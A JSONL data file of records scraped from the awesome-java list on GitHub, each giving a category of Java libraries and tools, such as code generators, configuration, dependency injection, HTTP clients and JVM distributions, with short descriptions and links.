{"id": "gh_a82f631280e4", "question": "How to: Code Generators", "question_body": "About akullpp/awesome-java", "answer": "_Tools that generate patterns for repetitive code in order to reduce verbosity and error-proneness._\n\n- [ADT4J](https://github.com/sviperll/adt4j) - JSR-269 code generator for algebraic data types.\n- [Auto](https://github.com/google/auto) - Generates factory, service, and value classes.\n- [Avaje Http Server](https://avaje.io/http/) - Generates Lightweight JAX-RS style http servers using Javalin or Helidon (Nima) SE.\n- [Bootify ![c]](https://bootify.io) - Browser-based Spring Boot app generation with JPA model and REST API.\n- [EasyEntityToDTO](https://github.com/Marcel091004/EasyEntityToDTO) - Annotation processor for automatic DTO and Mapper generation with zero boilerplate.\n- [FreeBuilder](https://github.com/inferred/FreeBuilder) - Automatically generates the Builder pattern.\n- [Geci](https://github.com/verhas/javageci) - Discovers files that need generated code, updates automatically and writes to the source with a convenient API.\n- [Immutables](https://immutables.github.io) - Annotation processors to generate simple, safe and consistent value objects.\n- [JavaPoet](https://github.com/square/javapoet) - API to generate source files.\n- [JHipster](https://github.com/jhipster/generator-jhipster) - Yeoman source code generator for Spring Boot and AngularJS.\n- [Joda-Beans](https://www.joda.org/joda-beans/) - Small framework that adds queryable properties to Java, enhancing JavaBeans.\n- [JPA Buddy ![c]](https://www.jpa-buddy.com) - Plugin for IntelliJ IDEA. Provides visual tools for generating JPA entities, Spring Data JPA repositories, Liquibase changelogs and SQL scripts. Offers automatic Liquibase/Flyway script generation by comparing model to DB, and reverse engineering JPA entities from DB tables.\n- [JSpecify Package-Info Generator](https://github.com/bcaillard/jspecify-packageinfo-generator) - Maven plugin that automatically generates package-info.java files with JSpecify annotations (@NullMarked and @NullUnmarked), helping you manage nullness boundaries in your Java projects without manual boilerplate.\n- [Lombok](https://projectlombok.org) - Code generator that aims to reduce verbosity.\n- [Record-Builder](https://github.com/Randgalt/record-builder) - Companion builder class, withers and templates for Java records.\n- [Telosys](https://www.telosys.org/) - Simple and light code generator available as an Eclipse Plugin and also as a CLI.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916001"}
{"id": "gh_3e040028ae80", "question": "How to: Compiler-compiler", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks that help to create parsers, interpreters or compilers._\n\n- [ANTLR](https://www.antlr.org) - Complex full-featured framework for top-down parsing.\n- [JavaCC](https://javacc.github.io/javacc/) - Parser generator that generates top-down parsers. Allows lexical state switching and permits extended BNF specifications.\n- [JFlex](https://jflex.de) - Lexical analyzer generator.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916007"}
{"id": "gh_08c0f45e97e1", "question": "How to: Computer Vision", "question_body": "About akullpp/awesome-java", "answer": "_Libraries which seek to gain high level information from images and videos._\n\n- [BoofCV](https://boofcv.org) - Library for image processing, camera calibration, tracking, SFM, MVS, 3D vision, QR Code and much more.\n- [ImageJ](https://imagej.net/ImageJ) - Medical image processing application with an API.\n- [JavaCV](https://github.com/bytedeco/javacv) - Java interface to OpenCV, FFmpeg, and much more.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916012"}
{"id": "gh_8a0d20dc9966", "question": "How to: Configuration", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that provide external configuration._\n\n- [avaje config](https://avaje.io/config/) - Loads yaml and properties files, supports dynamic configuration, plugins, file-watching and config event listeners.\n- [centraldogma](https://github.com/line/centraldogma) - Highly-available version-controlled service configuration repository based on Git, ZooKeeper and HTTP/2.\n- [config](https://github.com/lightbend/config) - Configuration library supporting Java properties, JSON or its human optimized superset HOCON.\n- [Configurate](https://github.com/SpongePowered/Configurate) - Configuration library with support for various configuration formats and transformations.\n- [Curator Framework](https://curator.apache.org/) - High-level API for Apache ZooKeeper.\n- [dotenv](https://github.com/shyiko/dotenv) - Twelve-factor configuration library which uses environment-specific files.\n- [Externalized Properties](https://github.com/joel-jeremy/externalized-properties) - Lightweight yet powerful configuration library which supports resolution of properties from external sources and an extensible post-processing/conversion mechanism.\n- [Gestalt](https://github.com/gestalt-config/gestalt) - Gestalt offers a comprehensive solution to the challenges of configuration management. It allows you to source configuration data from multiple inputs, merge them intelligently, and present them in a structured, type-safe manner.\n- [ini4j](http://ini4j.sourceforge.net) - Provides an API for handling Windows' INI files.\n- [KAConf](https://github.com/mariomac/kaconf) - Annotation-based configuration system for Java and Kotlin.\n- [microconfig](https://microconfig.io) - Configuration system designed for microservices which helps to separate configuration from code. The configuration for different services can have common and specific parts and can be dynamically distributed.\n- [owner](https://github.com/lviggiano/owner) - Reduces boilerplate of properties.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916019"}
{"id": "gh_2c2483582a5e", "question": "How to: Constraint Satisfaction Problem Solver", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that help with implementing optimization and satisfiability problems._\n\n- [Choco](https://choco-solver.org) - Off-the-shelf constraint satisfaction problem solver that uses constraint programming techniques.\n- [JaCoP](https://github.com/radsz/jacop) - Includes an interface for the FlatZinc language, enabling it to execute MiniZinc models. (AGPL-3.0)\n- [OptaPlanner](https://www.optaplanner.org) - Business planning and resource scheduling optimization solver.\n- [Timefold](https://timefold.ai/docs) - Flexible solver with Spring/Quarkus support and quickstarts for the Vehicle Routing Problem, Maintenance Scheduling, Employee Shift Scheduling and much more.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916025"}
{"id": "gh_0142e95c778d", "question": "How to: Data Structures", "question_body": "About akullpp/awesome-java", "answer": "_Efficient and specific data structures._\n\n- [Apache Avro](https://avro.apache.org) - Data interchange format with dynamic typing, untagged data, and absence of manually assigned IDs.\n- [Apache Orc](https://orc.apache.org) - Fast and efficient columnar storage format for Hadoop-based workloads.\n- [Apache Parquet](https://parquet.apache.org) - Columnar storage format based on assembly algorithms from Google's paper on Dremel.\n- [Apache Thrift](https://thrift.apache.org) - Data interchange format that originated at Facebook.\n- [Big Queue](https://github.com/bulldog2011/bigqueue) - Fast and persistent queue based on memory-mapped files.\n- [HyperMinHash-java](https://github.com/LiveRamp/HyperMinHash-java) - Probabilistic data structure for computing union, intersection, and set cardinality in loglog space.\n- [Persistent Collection](https://github.com/hrldcpr/pcollections) - Persistent and immutable analogue of the Java Collections Framework.\n- [Protobuf](https://github.com/protocolbuffers/protobuf) - Google's data interchange format.\n- [RoaringBitmap](https://github.com/RoaringBitmap/RoaringBitmap) - Fast and efficient compressed bitmap.\n- [SBE](https://github.com/real-logic/simple-binary-encoding) - Simple Binary Encoding, one of the fastest message formats around.\n- [Tape](https://github.com/square/tape) - Lightning-fast, transactional, file-based FIFO.\n- [Wire](https://github.com/square/wire) - Clean, lightweight protocol buffers.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916032"}
{"id": "gh_e762c9e93a5d", "question": "How to: Date and Time", "question_body": "About akullpp/awesome-java", "answer": "_Libraries related to handling date and time._\n\n- [iCal4j](https://github.com/ical4j/ical4j) - Parse and build iCalendar [RFC 5545](https://tools.ietf.org/html/rfc5545) data models.\n- [Jollyday](https://github.com/svendiedrichsen/jollyday) - Determines the holidays for a given year, country/name and eventually state/region.\n- [ThreeTen-Extra](https://github.com/ThreeTen/threeten-extra) - Additional date-time classes that complement those in JDK 8.\n- [Time4J](https://github.com/MenoData/Time4J) - Advanced date and time library. (LGPL-2.1-only)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916042"}
{"id": "gh_7fe6d89c6290", "question": "How to: Decentralization", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that handle decentralization tasks._\n\n- [java-tron](https://github.com/tronprotocol/java-tron) Implementation of the Tron Protocol, whic utilizes blockchains to develop decentralized applications.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916046"}
{"id": "gh_73b2ddf010b5", "question": "How to: Dependency Injection", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that help to realize the [Inversion of Control](https://en.wikipedia.org/wiki/Inversion_of_control) paradigm._\n\n- [Apache DeltaSpike](https://deltaspike.apache.org) - CDI extension framework.\n- [Avaje Inject](https://avaje.io/inject/) - Microservice-focused compile-time injection framework without reflection.\n- [Dagger](https://dagger.dev/) - Compile-time injection framework without reflection.\n- [Feather](https://github.com/zsoltherpai/feather) - Ultra-lightweight, JSR-330-compliant dependency injection library.\n- [Governator](https://github.com/Netflix/governator) - Extensions and utilities that enhance Google Guice.\n- [Guice](https://github.com/google/guice) - Lightweight and opinionated framework that completes Dagger.\n- [HK2](https://eclipse-ee4j.github.io/glassfish-hk2/) - Lightweight and dynamic dependency injection framework.\n- [JayWire](https://github.com/vanillasource/jaywire) - Lightweight dependency injection framework. (LGPL-3.0-only)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916052"}
{"id": "gh_295f4d31de01", "question": "How to: Development", "question_body": "About akullpp/awesome-java", "answer": "_Augmentation of the development process at a fundamental level._\n\n- [AspectJ](https://www.eclipse.org/aspectj/) - Seamless aspect-oriented programming extension.\n- [DCEVM](https://dcevm.github.io) - JVM modification that allows unlimited redefinition of loaded classes at runtime. (GPL-2.0-only)\n- [Faux Pas](https://github.com/zalando/faux-pas) - Library that simplifies error handling by circumventing the issue that none of the functional interfaces in the Java Runtime is allowed by default to throw checked exceptions.\n- [HotswapAgent](https://github.com/HotswapProjects/HotswapAgent) - Unlimited runtime class and resource redefinition. (GPL-2.0-only)\n- [JavaParser](https://github.com/javaparser/javaparser) - Parse, modify and generate Java code.\n- [JavaSymbolSolver](https://github.com/javaparser/javasymbolsolver) - Symbol solver.\n- [Manifold](https://github.com/manifold-systems/manifold) - Re-energizes Java with powerful features like type-safe metaprogramming, structural typing and extension methods.\n- [NoException](https://noexception.machinezoo.com) - Allows checked exceptions in functional interfaces and converts exceptions to Optional return.\n- [SneakyThrow](https://github.com/rainerhahnekamp/sneakythrow) - Ignores checked exceptions without bytecode manipulation. Can also be used inside Java 8 stream operations.\n- [Tail](https://nrktkt.github.io/tail/) - Enable infinite recursion using tail call optimization.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916058"}
{"id": "gh_6d1b4875d23f", "question": "How to: Distributed Applications", "question_body": "About akullpp/awesome-java", "answer": "_Libraries and frameworks for writing distributed and fault-tolerant applications._\n\n- [Apache Geode](https://geode.apache.org) - In-memory data management system that provides reliable asynchronous event notifications and guaranteed message delivery.\n- [Apache Storm](https://storm.apache.org) - Realtime computation system.\n- [Apache ZooKeeper](https://zookeeper.apache.org) - Coordination service with distributed configuration, synchronization, and naming registry for large distributed systems.\n- [Atomix](https://atomix.io) - Fault-tolerant distributed coordination framework.\n- [Axon](https://axoniq.io) - Framework for creating CQRS applications.\n- [Dropwizard Circuit Breaker](https://github.com/mtakaki/dropwizard-circuitbreaker) - Circuit breaker design pattern for Dropwizard. (GPL-2.0-only)\n- [Failsafe](https://github.com/jhalterman/failsafe) - Simple failure handling with retries and circuit breakers.\n- [Hazelcast](https://github.com/hazelcast/hazelcast) - Highly scalable in-memory datagrid with a free open-source version.\n- [JGroups](http://www.jgroups.org) - Toolkit for reliable messaging and cluster creation.\n- [Quasar](http://docs.paralleluniverse.co/quasar/) - Lightweight threads and actors for the JVM.\n- [resilience4j](https://github.com/resilience4j/resilience4j) - Functional fault tolerance library.\n- [OpenIG](https://github.com/OpenIdentityPlatform/OpenIG) - High-performance reverse proxy server with specialized session management and credential replay functionality.\n- [ScaleCube Services](https://github.com/scalecube/scalecube-services) - Embeddable Cluster-Membership library based on SWIM and gossip protocol.\n- [Zuul](https://github.com/Netflix/zuul) - Gateway service that provides dynamic routing, monitoring, resiliency, security, and more.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916065"}
{"id": "gh_c3defc0ae130", "question": "How to: Distributed Transactions", "question_body": "About akullpp/awesome-java", "answer": "_Distributed transactions provide a mechanism for ensuring consistency of data updates in the presence of concurrent access and partial failures._\n\n- [Atomikos](https://www.atomikos.com) - Provides transactions for REST, SOA and microservices with support for JTA and XA.\n- [Bitronix](https://github.com/bitronix/btm) - Simple but complete implementation of the JTA 1.1 API.\n- [Narayana](https://narayana.io) - Provides support for traditional ACID and compensation transactions, also complies with JTA, JTS and other standards. (LGPL-2.1-only)\n- [Seata](https://github.com/seata/seata) - Delivers high performance and easy to use distributed transaction services under a microservices architecture.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916070"}
{"id": "gh_a5857c08fef5", "question": "How to: Distribution", "question_body": "About akullpp/awesome-java", "answer": "_Tools that handle the distribution of applications in native formats._\n\n- [Artipie](https://github.com/artipie/artipie) - Binary artifact management toolkit which hosts them on the file system or S3.\n- [Boxfuse ![c]](https://boxfuse.com) - Deployment of JVM applications to AWS using the principles of immutable infrastructure.\n- [Capsule](https://github.com/puniverse/capsule) - Simple and powerful packaging and deployment. A fat JAR on steroids, or a \"Docker for Java\" that supports JVM-optimized containers.\n- [Central Repository](https://search.maven.org) - Largest binary component repository available as a free service to the open-source community. Default used by Apache Maven, and available in all other build tools.\n- [Cloudsmith ![c]](https://cloudsmith.io) - Fully managed package management SaaS with support for Maven/Gradle/SBT with a free tier.\n- [Getdown](https://github.com/threerings/getdown) - System for deploying Java applications to end-user computers and keeping them up to date. Developed as an alternative to Java Web Start.\n- [IzPack](http://izpack.org) - Setup authoring tool for cross-platform deployments.\n- [JavaPackager](https://github.com/fvarrui/JavaPackager) - Maven and Gradle plugin which provides an easy way to package Java applications in native Windows, macOS or GNU/Linux executables, and generate installers for them.\n- [jDeploy](https://www.jdeploy.com) - Deploy desktop apps as native Mac, Windows or Linux bundles.\n- [jlink.online](https://github.com/AdoptOpenJDK/jlink.online) - Builds optimized runtimes over HTTP.\n- [Nexus ![c]](https://www.sonatype.com) - Binary management with proxy and caching capabilities.\n- [packr](https://github.com/libgdx/packr) - Packs JARs, assets and the JVM for native distribution on Windows, Linux and macOS.\n- [really-executable-jars-maven-plugin](https://github.com/brianm/really-executable-jars-maven-plugin) - Maven plugin for making self-executing JARs.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916078"}
{"id": "gh_dc69114d5a3e", "question": "How to: Document Processing", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that assist with processing office document formats._\n\n- [Apache POI](https://poi.apache.org) - Supports OOXML (XLSX, DOCX, PPTX) as well as OLE2 (XLS, DOC or PPT).\n- [documents4j](https://documents4j.com/#/) - API for document format conversion using third-party converters such as MS Word.\n- [docx4j](https://www.docx4java.org/trac/docx4j) - Create and manipulate Microsoft Open XML files.\n- [fastexcel](https://github.com/dhatim/fastexcel) - High performance library to read and write large Excel (XLSX) worksheets.\n- [zerocell](https://github.com/creditdatamw/zerocell) - Annotation-based API for reading data from Excel sheets into POJOs with focus on reduced overhead.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916083"}
{"id": "gh_c0f1e067a725", "question": "How to: Formal Verification", "question_body": "About akullpp/awesome-java", "answer": "_Formal-methods tools: proof assistants, model checking, symbolic execution, etc._\n\n- [CATG](https://github.com/ksen007/janala2) - Concolic unit testing engine. Automatically generates unit tests using formal methods.\n- [Checker Framework](https://checkerframework.org) - Pluggable type systems. Includes nullness types, physical units, immutability types and more. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [Daikon](https://plse.cs.washington.edu/daikon/) - Detects likely program invariants and generates JML specs based on those invariants.\n- [Java Path Finder (JPF)](https://github.com/javapathfinder/jpf-core) - JVM formal verification tool containing a model checker and more. Created by NASA.\n- [JMLOK 2.0](https://massoni.computacao.ufcg.edu.br/home/jmlok) - Detects inconsistencies between code and JML specification through feedback-directed random tests generation, and suggests a likely cause for each nonconformance detected. (GPL-3.0-only)\n- [KeY](https://www.key-project.org) - Formal software development tool that aims to integrate design, implementation, formal specification, and formal verification of object-oriented software as seamlessly as possible. Uses JML for specification and symbolic execution for verification. (GPL-2.0-or-later)\n- [OpenJML](http://www.openjml.org) - Translates JML specifications into SMT-LIB format and passes the proof problems implied by the program to backend solvers. (GPL-2.0-only)", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916090"}
{"id": "gh_81e46825dee5", "question": "How to: Functional Programming", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that facilitate functional programming._\n\n- [Cyclops](https://github.com/aol/cyclops) - Monad and stream utilities, comprehensions, pattern matching, functional extensions for all JDK collections, future streams, trampolines and much more.\n- [derive4j](https://github.com/derive4j/derive4j) - Java 8 annotation processor and framework for deriving algebraic data types constructors, pattern-matching and morphisms. (GPL-3.0-only)\n- [Fugue](https://bitbucket.org/atlassian/fugue) - Functional extensions to Guava.\n- [Functional Java](http://www.functionaljava.org) - Implements numerous basic and advanced programming abstractions that assist composition-oriented development.\n- [jOOλ](https://github.com/jOOQ/jOOL) - Extension to Java 8 that aims to fix gaps in lambda by providing numerous missing types and a rich set of sequential Stream API additions.\n- [Packrat](https://github.com/jhspetersson/packrat) - Gatherers library for Java Stream API. Gatherers can enhance streams with custom intermediate operations.\n- [protonpack](https://github.com/poetix/protonpack) - Collection of stream utilities.\n- [StreamEx](https://github.com/amaembo/streamex) - Enhances Java 8 Streams.\n- [Vavr](https://www.vavr.io) - Functional component library that provides persistent data types and functional control structures.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916099"}
{"id": "gh_fbc1fe7a8796", "question": "How to: Game Development", "question_body": "About akullpp/awesome-java", "answer": "_Frameworks that support the development of games._\n\n- [FXGL](https://almasb.github.io/FXGL/) - JavaFX Game Development Framework.\n- [JBox2D](http://www.jbox2d.org/) - Port of the renowned C++ 2D physics engine.\n- [jMonkeyEngine](https://jmonkeyengine.org) - Game engine for modern 3D development.\n- [libGDX](https://libgdx.com) - All-round cross-platform, high-level framework.\n- [Litiengine](https://litiengine.com/) - AWT-based, lightweight 2D game engine.\n- [LWJGL](https://www.lwjgl.org) - Robust framework that abstracts libraries like OpenGL/CL/AL.\n- [Mini2Dx](https://mini2dx.org) - Beginner-friendly, master-ready framework for rapidly prototyping and building 2D games.\n- [Void2D](https://github.com/xzripper/Void2D) - High-level 2D game engine with built-in physics based on Swing.\n- [vulkan4j](https://github.com/chuigda/vulkan4j) - Vulkan, OpenGL ES2 and GLFW Memory Allocator bindings.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916105"}
{"id": "gh_b6f699a556fe", "question": "How to: Geospatial", "question_body": "About akullpp/awesome-java", "answer": "_Libraries for working with geospatial data and algorithms._\n\n- [Apache SIS](https://sis.apache.org) - Library for developing geospatial applications.\n- [ArcGIS Maps SDK for Java ![c]](https://github.com/Esri/arcgis-maps-sdk-java-samples/) - JavaFX library for adding mapping and GIS functionality to desktop apps.\n- [Geo](https://github.com/davidmoten/geo) - GeoHash utilities in Java.\n- [GeoTools](https://geotools.org) - Library that provides tools for geospatial data. (LGPL-2.1-only)\n- [GraphHopper](https://github.com/graphhopper/graphhopper) - Road-routing engine. Used as a Java library or standalone web service.\n- [H2GIS](http://www.h2gis.org) - Spatial extension of the H2 database. (LGPL-3.0-only)\n- [Jgeohash](https://astrapi69.github.io/jgeohash/) - Library for using the GeoHash algorithm.\n- [Mapsforge](https://github.com/mapsforge/mapsforge) - Map rendering based on OpenStreetMap data. (LGPL-3.0-only)\n- [Spatial4j](https://github.com/locationtech/spatial4j) - General-purpose spatial/geospatial library.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916111"}
{"id": "gh_8cbaba2d4560", "question": "How to: High Performance", "question_body": "About akullpp/awesome-java", "answer": "_Everything about high-performance computation, from collections to specific libraries._\n\n- [Agrona](https://github.com/real-logic/Agrona) - Data structures and utility methods that are common in high-performance applications.\n- [Disruptor](https://lmax-exchange.github.io/disruptor/) - Inter-thread messaging library.\n- [Eclipse Collections](https://github.com/eclipse/eclipse-collections) - Collections framework inspired by Smalltalk.\n- [fastutil](http://fastutil.di.unimi.it) - Fast and compact type-specific collections.\n- [HPPC](https://labs.carrotsearch.com/hppc.html) - Primitive collections.\n- [JCTools](https://github.com/JCTools/JCTools) - Concurrency tools currently missing from the JDK.\n- [Koloboke](https://github.com/leventov/Koloboke) - Carefully designed extension of the Java Collections Framework with primitive specializations and more.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916117"}
{"id": "gh_377cee6ed49e", "question": "How to: HTTP Clients", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that assist with creating HTTP requests and/or binding responses._\n\n- [Apache HttpComponents](https://hc.apache.org/) - Toolset of low-level Java components focused on HTTP and associated protocols.\n- [Async Http Client](https://github.com/AsyncHttpClient/async-http-client) - Asynchronous HTTP and WebSocket client library.\n- [Avaje Http Client](https://avaje.io/http-client) - Wrapper on JDK 11's HttpClient that adds Feign-like interface among other enhancements.\n- [Feign](https://github.com/OpenFeign/feign) - HTTP client binder inspired by Retrofit, JAXRS-2.0, and WebSocket.\n- [Google HTTP Client](https://github.com/googleapis/google-http-java-client) - Pluggable HTTP transport abstraction with support for java.net.HttpURLConnection, Apache HTTP Client, Android, Google App Engine, XML, Gson, Jackson and Protobuf.\n- [methanol](https://github.com/mizosoft/methanol) - HTTP client extensions library.\n- [Retrofit](https://square.github.io/retrofit/) - Typesafe REST client.\n- [Ribbon](https://github.com/Netflix/ribbon) - Client-side IPC library that is battle-tested in the cloud.\n- [Riptide](https://github.com/zalando/riptide) - Client-side response routing for Spring's RestTemplate.\n- [unirest-java](https://github.com/Kong/unirest-java) - Simplified, lightweight HTTP client library.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916123"}
{"id": "gh_39afc33f5da8", "question": "How to: Introspection", "question_body": "About akullpp/awesome-java", "answer": "_Libraries that help make the Java introspection and reflection API easier and faster to use._\n\n- [ClassGraph](https://github.com/classgraph/classgraph) - ClassGraph (formerly FastClasspathScanner) is an uber-fast, ultra-lightweight, parallelized classpath scanner and module scanner for Java, Scala, Kotlin and other JVM languages.\n- [jOOR](https://github.com/jOOQ/jOOR) - jOOR stands for jOOR Object Oriented Reflection. It is a simple wrapper for the java.lang.reflect package.\n- [Mirror](http://projetos.vidageek.net/mirror/mirror/) - Mirror was created to bring light to a simple problem, usually named ReflectionUtil, which is on almost all projects that rely on reflection to do advanced tasks.\n- [Objenesis](http://objenesis.org) - Allows dynamic instantiation without default constructor, e.g. constructors which have required arguments, side effects or throw exceptions.\n- [ReflectASM](https://github.com/EsotericSoftware/reflectasm) - ReflectASM is a very small Java library that provides high performance reflection by using code generation.\n- [Reflections](https://github.com/ronmamo/reflections) - Reflections scans your classpath, indexes the metadata, allows you to query it on runtime and may save and collect that information for many modules within your project.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916136"}
{"id": "gh_4de664a98d7c", "question": "How to: Job Scheduling", "question_body": "About akullpp/awesome-java", "answer": "_Libraries for scheduling background jobs._\n\n- [JobRunr](https://github.com/jobrunr/jobrunr) - Job scheduling library which utilizes lambdas for fire-and-forget, delayed and recurring jobs. Guarantees execution by single scheduler instance using optimistic locking. Has features for persistence, minimal dependencies and is embeddable.\n- [Quartz](https://github.com/quartz-scheduler/quartz) - Feature-rich, open source job scheduling library that can be integrated within virtually any Java application.\n- [Sundial](https://github.com/knowm/Sundial) - Lightweight framework to simply define jobs, define triggers and start the scheduler.\n- [Wisp](https://github.com/Coreoz/Wisp) - Simple library with minimal footprint and straightforward API.\n- [db-scheduler](https://github.com/kagkarlsson/db-scheduler) - Persistent and cluster-friendly scheduler.\n- [easy-batch](https://github.com/j-easy/easy-batch) - Set up batch jobs with simple processing pipelines. Records are read in sequence from a data source, processed in pipeline and written in batches to a data sink.\n- [shedlock](https://github.com/lukas-krecan/ShedLock) - Makes sure that your scheduled tasks are executed at most once at the same time. If a task is being executed on one node, it acquires a lock which prevents execution of the same task from another node or thread.", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916142"}
{"id": "gh_075abfd43651", "question": "How to: JVM and JDK", "question_body": "About akullpp/awesome-java", "answer": "_Current implementations of the JVM/JDK._\n\n- [Which JDK](https://whichjdk.com/) - Overview of common JVMs with pros and cons.\n- [Adopt Open JDK](https://adoptopenjdk.net) - Community-driven OpenJDK builds, including both HotSpot and OpenJ9.\n- [Corretto](https://aws.amazon.com/corretto/) - No-cost, multiplatform, production-ready distribution of OpenJDK by Amazon. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [Dragonwell8](https://github.com/alibaba/dragonwell8) - Downstream version of OpenJDK optimized for online e-commerce, financial, logistics applications.\n- [Graal](https://github.com/oracle/graal) - Polyglot embeddable JVM. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [Liberica JDK](https://bell-sw.com) - Built from OpenJDK, thoroughly tested and passed the JCK. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [OpenJ9](https://github.com/eclipse/openj9) - High performance, enterprise-calibre, flexibly licensed, openly-governed cross-platform JVM extending and augmenting the runtime technology components from the Eclipse OMR and OpenJDK project.\n- [Open JDK](https://openjdk.java.net) - Open JDK community home. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [ParparVM](https://github.com/codenameone/CodenameOne/tree/master/vm) - VM with non-blocking, concurrent GC for iOS. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [RedHat Open JDK](https://developers.redhat.com/products/openjdk/overview) - RedHat's OpenJDK distribution. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [SAP Machine](https://sap.github.io/SapMachine/) - SAP's no-cost, rigorously tested and JCK-verified OpenJDK friendly fork. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [Zulu](https://www.azul.com/products/zulu-community/) - OpenJDK builds for Windows, Linux, and macOS. (GPL-2.0-only WITH Classpath-exception-2.0)\n- [Microsoft JDK](https://github.com/microsoft/openjdk) - Microsoft Build of OpenJDK, Free, Open Source, Freshly Brewed!", "tags": ["akullpp"], "source": "github_gists", "category": "akullpp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 46699, "answer_score": 10, "has_code": false, "url": "https://github.com/akullpp/awesome-java", "collected_at": "2026-01-16T23:30:06.916151"}
